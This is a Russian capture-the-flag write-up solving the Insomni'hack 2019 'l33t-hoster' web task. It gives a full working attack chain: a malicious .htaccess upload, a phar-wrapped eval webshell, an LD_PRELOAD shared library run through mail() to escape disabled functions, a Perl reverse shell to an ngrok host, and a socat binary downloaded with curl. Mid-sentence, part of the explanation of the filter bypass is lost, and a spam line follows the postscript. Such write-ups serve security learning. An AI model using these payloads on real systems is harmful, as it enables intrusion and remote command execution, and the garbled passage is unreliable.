Web task l33t-hoster

Разбор веб-таска с прошедших соревнований Insomni'hack teaser 2019.

Ниже предоставлено совместное решение таска от @drakylar, @BronzeBee и @Kirrik.

Дисклеймер:

Авторы не несут ответственности за ваше душевное равновесие, после прочтения этого райтапа.

(мы знаем, что можно было решить проще:)


Описание задания.

Web task l33t-hoster

You can host your l33t pictures here. (URL: http://35.246.234.136/ ).


Переходим по ссылке и наблюдаем божественный дезигн:

Web task l33t-hoster

По кнопке "files" мы переходим по адресу /images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/ и наблюдаем пустую директорию:

Web task l33t-hoster


Попробуем загрузить изображение (PNG):

Web task l33t-hoster

У меня высветилась странная ошибка (у вас может тоже появиться другая ошибка). Значит, нам надо узнать больше о логике работы скрипта!

Web task l33t-hoster

Правая кнопка -> Исходный код страницы:

<h3>Your <a href=images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/>files</a>:</h3><ul></ul>
<h1>Upload your pics!</h1>
<form method="POST" action="?" enctype="multipart/form-data">
    <input type="file" name="image">
    <input type="submit" name=upload>
</form>
<!-- /?source -->


Замечаем странную последнюю строку. Переходим по /?source и получаем исходники index.php.

Сразу скажу (пока вы не убежали от такого количества символов) после код целиком мы разберем его по частям:

<?php
if (isset($_GET["source"])) 
    die(highlight_file(__FILE__));

session_start();

if (!isset($_SESSION["home"])) {
    $_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
    mkdir($userdir);
}

$disallowed_ext = array(
    "php",
    "php3",
    "php4",
    "php5",
    "php7",
    "pht",
    "phtm",
    "phtml",
    "phar",
    "phps",
);


if (isset($_POST["upload"])) {
    if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
        die("yuuuge fail");
    }

    $tmp_name = $_FILES["image"]["tmp_name"];
    $name = $_FILES["image"]["name"];
    $parts = explode(".", $name);
    $ext = array_pop($parts);

    if (empty($parts[0])) {
        array_shift($parts);
    }

    if (count($parts) === 0) {
        die("lol filename is empty");
    }

    if (in_array($ext, $disallowed_ext, TRUE)) {
        die("lol nice try, but im not stupid dude...");
    }

    $image = file_get_contents($tmp_name);
    if (mb_strpos($image, "<?") !== FALSE) {
        die("why would you need php in a pic.....");
    }

    if (!exif_imagetype($tmp_name)) {
        die("not an image.");
    }

    $image_size = getimagesize($tmp_name);
    if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
        die("lol noob, your pic is not l33t enough");
    }

    $name = implode(".", $parts);
    move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}

echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
    echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";

?>

<h1>Upload your pics!</h1>
<form method="POST" action="?" enctype="multipart/form-data">
    <input type="file" name="image">
    <input type="submit" name=upload>
</form>
<!-- /?source -->



Разберем код!

Создание сессии, прикрепление к ней пути до вашей директории (да-да, путь до папки с файлами будет изменяться в зависимости от сессии) и проверка существует ли эта директория (если не существует - создает):
session_start();

if (!isset($_SESSION["home"])) {
    $_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
    mkdir($userdir);
}


В конце файла у нас идет вывод всех видимых файлов в нашей директории:

echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
    echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";



А теперь к основному!

Все последующее будет относиться к условию отправки POST запроса с изображением

if (isset($_POST["upload"])) {
    if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
        die("yuuuge fail");
    }
. . .


Определение переменных (читайте комменты):

    $tmp_name = $_FILES["image"]["tmp_name"]; //временное имя файла (от нас не зависит)
    $name = $_FILES["image"]["name"]; //имя отправленного нами файла
    $parts = explode(".", $name); //массив, получившийся после разделения имени файла разделительным символом - точкой.
    $ext = array_pop($parts); // присваиваем и удаляем из массива последний элемент - расширение файла (все после последней точки)


На примере: отправили файл test.jpg. В итоге в $parts у нас ["test"], a $ext равен "jpg".

Если первый элемент получившегося массива пустой, то удаляем его.

if (empty($parts[0])) {
        array_shift($parts);
}


И если, после удаления, у нас остался пустой массив, то выбрасывается исключение о пустом имени файла:
    if (count($parts) === 0) {
        die("lol filename is empty");
    }



Если расширение файла (все после последней точки) у нас входит в массив запрещенных расширений -> посылаем исключение.
$disallowed_ext = array(
    "php",
    "php3",
    "php4",
    "php5",
    "php7",
    "pht",
    "phtm",
    "phtml",
    "phar",
    "phps",
);

if (in_array($ext, $disallowed_ext, TRUE)) {
    die("lol nice try, but im not stupid dude...");
}


Читает файл, и если в нем есть подстрока " скрытый). Стоит добавить, что после изучения сигнатурного анализатора, оказалось, что файл будет восприниматься как корректное изображение, даже если в поток бинарных данных вставить подстроку
"\n#define test_width 1337\n#define test_height 1337\n


Пример:
Web task l33t-hoster

А удостовериться, что наш файл был загружен успешно с нужным именем, легко: загрузите .htaccess с некорректным содержимым и перейдите в вашу директорию:

Web task l33t-hoster


Вернемся к решению таска: мы научились загружать .htaccess с произвольным содержимым. Чтобы не тратить время, скажу, что у апача отключены почти все модули, которые могли нас заинтересовать (вплоть до mod_rewrite).

Нас может заинтересовать функция, которая позволяет запускать другие файлы, как php скрипты, но напоминаю вам, что мы не можем загружать любой файл, в котором есть php тег "<?".

У нас была возможность изменять часть значений из php.ini. Особенно заинтересовала переменная auto_prepend_file, и в случае, если наш файл определялся как php скрипт, то приписывает к нему другой файл, путь в котором указан в этой переменной.

И была идея, чтобы первый файл заканчивался на "<", а второй файл начинался на "?", что в итоге получится "<?". Но, чтобы не тратить ваше время, скажу, что это не прокатило и они подкачивались, как два отдельных файла.

Пример используемого ..htaccess файла (/var/www/html/ был взят как путь по-умолчанию):
#define test_width 1337
#define test_height 1337

AddType application/x-httpd-php lol #добавили пхп расширение .lol

php_value auto_prepend_file "/var/www/html/images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/test1.lol"


Но этим мы могли читать локальные файлы. Пример чтения /etc/passwd:

#define test_width 1337
#define test_height 1337

AddType application/x-httpd-php lol

php_value auto_prepend_file "/etc/passwd"


Web task l33t-hoster

Но это нам не сильно помогло.

После некоторых практических опытов оказалось, что файл из переменной не просто приписывался, но и запускался. Мы попробовали использовать в переменной php wrappers и...

#define test_width 1337
#define test_height 1337

AddType application/x-httpd-php lol

php_value auto_prepend_file "php://filter/convert.base64-encode/resource=/etc/passwd" #файл вернется закодированный в base64


Web task l33t-hoster

Сработало!

Перебрав много вариантов мы нашли подходящий нам - враппер phar://

(Сразу скажу, что прочитав другой райтап - https://ctftime.org/writeup/12922 , немного выругался, вспомнив о другом способе, но эта же статья о том, каким способом мы решили таск:)

Кратко о Phar - это исполняемые PHP архивы с поддержкой сжатия. Загрузив и подкачав один из них с враппером phar:// мы сможем запутить упакованный php файл.

Код для того, чтобы собрать архив у нас на компе:

<?php
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt",'<?php eval($_GET["c"]);?>');//добавляем файл test.txt с php кодом в архив
$phar->compressFiles(Phar::GZ); //сжимаем файл, чтобы спрятать от кода проверки php-теги
$phar->addFromString("test1.txt","\n#define width 1337\n#define height 1337\n"); //добавляем  несжатый файл "test1.txt", чтобы обойти проверку на проверку на изображение (должна быть подстрока с #define).
$phar->stopBuffering();


Запускаем, как
php -dphar.readonly=0 23.php


и получаем файл phar.phar, который мы уже без проблем можем загрузить на сервер :

Web task l33t-hoster

Отправим его как phar.lol и подкачаем следующим .htaccess файлом:

#define test_width 1337
#define test_height 1337

AddType application/x-httpd-php lol

php_value auto_prepend_file "phar:///var/www/html/images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/phar.lol/test.txt"

#включим еще вывод всех ошибок
php_flag display_errors on



После чего можем перейти на любой .lol файл (наше php расширение).

У меня ссылка выглядит, как http://35.246.234.136/images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/test.lol :

Web task l33t-hoster

Наш код обработался! Добавим GET переменную "c" с phpinfo ( http://35.246.234.136/images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/test.lol?c=phpinfo(); ):

Web task l33t-hoster

Работает! Переходим на новый уровень эксплуатации!

Сразу обратим внимание на список запрещенных функций:

Web task l33t-hoster

Могу сказать только одно:

Web task l33t-hoster

После того, как был закачен нормальный шелл (в моем случае WSO - опционально, способы загрузки зависят от вашей фантазии), начинаем искать флаг в системе. И находим в корне системы два файла (последние две строки):

Web task l33t-hoster

Да-да, есть два файла: flag (скорее всего сам флаг, доступен на чтение только админу) и get_flag (suid бинарь, который всегда запускается от имени рута - админа).

Не будем углубляться в бинарь, для начала решим проблему с его запуском - все функции запуска системных команд заблокированы. Для этого к нам на помощь приходит функция mail (и статья https://github.com/tothi/ctfs/blob/master/alictf-2016/homework/README.md ). Суть хака заключается в следующем: мы закачиваем на сервер нашу скомпилированную библиотеку hack.so, указываем с помощью php функции putenv переменную окружения LD_PRELOAD=(путь до hack.so) и запускаем функцию mail(), которая в свою очереть вызывет функцию geteuid() из нашего бинаря!

hack.с:
#include <stdlib.h>
#include <stdio.h>
#include <string.h> 

//функция принимает строку и помещает вывод в /tmp/output.txt
void payload(char *cmd) { 
  char buf[512];
  strcpy(buf, cmd);
  strcat(buf, " > /tmp/output.txt");
  system(buf);
}   
 
//вызываемая функция
int  geteuid() {
  char *cmd;
  if (getenv("LD_PRELOAD") == NULL) { return 0; }
  unsetenv("LD_PRELOAD");
  //берет значение переменной окружения _runcmd и запускает как команду
  if ((cmd = getenv("_runcmd")) != NULL) {
    payload(cmd);
  }
  return 1;
}


Скомпилим его командой
gcc -Wall -fPIC -shared -o hack.so hack.c -ldl


Web task l33t-hoster

и отправим на сервер файл hack.so.

Далее отправим на сервер php файл bypass.php:
<?php
//меняем переменную окружения на путь до нашего файла
$r1 = putenv("LD_PRELOAD=/var/www/html/images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/hack.so");
echo "putenv: $r1 <br>";

//заменяем переменную окружения _runcmd на нашу команду
$cmd = $_GET['cmd'];
$r2 = putenv("_runcmd=$cmd");
echo "putenv: $r2 <br>";

//запускаем функцию mail и наш бинарь
$r3 = mail("a@example.com", "", "", "");
echo "mail: $r3 <br>";

//читаем вывод работы команды
echo file_get_contents("/tmp/output.txt");
?>


И тестируем:

Web task l33t-hoster

Сработало!

Делаем бекконнект (сервер подключается к нашему socket-серверу, считывает ввод, выполняет его как команду и возвращает вывод на сервер) используя perl:

команда:
perl -e 'use Socket;$i="0.tcp.ngrok.io";$p=19028;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash");};



Весь HTTP запрос:
GET /images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/bypass.php?cmd=perl+-e+'use+Socket%3b$i%3d"0.tcp.ngrok.io"%3b$p%3d19028%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/bash")%3b}%3b' HTTP/1.1
Host: 35.246.234.136
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: 36d0e48e20bd2b60aa0c913cc37e01d1key=07029b24e495f6afa5a16e1724f72f55; 36d0e48e20bd2b60aa0c913cc37e01d1=21232f297a57a5a743894a0e4a801fc3; PHPSESSID=h57juv9ejn48smr2v8rpg74t4r
Upgrade-Insecure-Requests: 1



Не забывайте поднять сокет-сервер и поменять на ваш ip и port.

Пример полученной сессии:
Web task l33t-hoster

Теперь вернемся к файлу get_flag.

Скачав файл и запустив, понимаем, что перед нами каптча и очень мало времени на ее решение:

Web task l33t-hoster

Любопытным значение таймера можно было узнать - 10 мс:

Web task l33t-hoster

Вручную даже с бекконнектом невозможно так быстро вбить каптчу, значит нужно это автоматизировать!


Изначально планировалось следующее: скачать на сервер socat, запустить socket сервис который будет подключаться к нам и сразу же предоставит доступ для общения с файлом get_flag. А мы в свою очередь на питоне запрогаем socket-сервер, который будет при подключении получать числа, суммировать их и возвращать результат.

Опять мимо - скорости интернета не хватает для того, чтобы решить этот таск удаленно. А что, если решить его локально? Как ни бредово это звучало, но мы можем попробовать запустить сокет сервер с get_flag локально на определенном порту и локально запустить php скрипт, который будет подключаться к данному socket-серверу, решать каптчу и получать флаг! Попробуем:))


#работать будем в нашей папке на веб-сервере

#скачиваем бинарь
curl https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat > socat

#добавляем права на запуск
chmod +x socat

#протестируем, запустится ли
./socat


Результат:
Web task l33t-hoster

Работает!

Запустим socat сервер для бинаря /get_flag на порту 2323:
./socat TCP-LISTEN:2323,reuseaddr,fork EXEC:"/get_flag"




Теперь пишем PHP скрипт для решения каптчи:

sock.php:
<?php
//подключаемся к локально созданному сервису на порту 2323
$fp = fsockopen("127.0.0.1", 2323, $errno, $errstr, 30);
$ans = 0;
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
	var_dump(fgets($fp, 128000));
	//записываем математический пример в $math
	//и приводим его к виду "$ans = (пример);"
	$math = str_replace("\r","",str_replace("\n", "", '$ans = '. fgets($fp, 128) . ';'));
	var_dump($math);
	//выполняем строку $math и смотрим на переменную $ans
	eval($math);
	var_dump($ans);
	//отправляем ответ === $ans
	fwrite($fp, strval($ans) ."\n");
	//читаем флаг
	var_dump(fread($fp, 128000));
	var_dump($errstr);
	var_dump(fgets($fp, 128));
	fclose($fp);
}
?>


Загружаем и запускаем:

Web task l33t-hoster

И..
Web task l33t-hoster

Ничего не произошло.

Немного изучив бинарь, оказывается, что путь до открываемого файла (flag) был относительным. Поэтому нам надо в нашей директории создать символьную ссылку на корневой файл flag для корректного открытия:

ln -s /flag flag


Web task l33t-hoster

Запустим sock.php еще раз!

Web task l33t-hoster

И мы получаем долгожданный флаг!
INS{l33t_l33t_l33t_ich_hab_d1ch_li3b}


Web task l33t-hoster

P.S. Очень интересное задание, респект авторам.

P.P.S. Критика райтапа приветствуется (комменты или vk.com/drakylar).скачать dle 10.5фильмы бесплатно

  • Автор: drakylar
  • Комментарии: 0
  • Просмотры: 18403

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!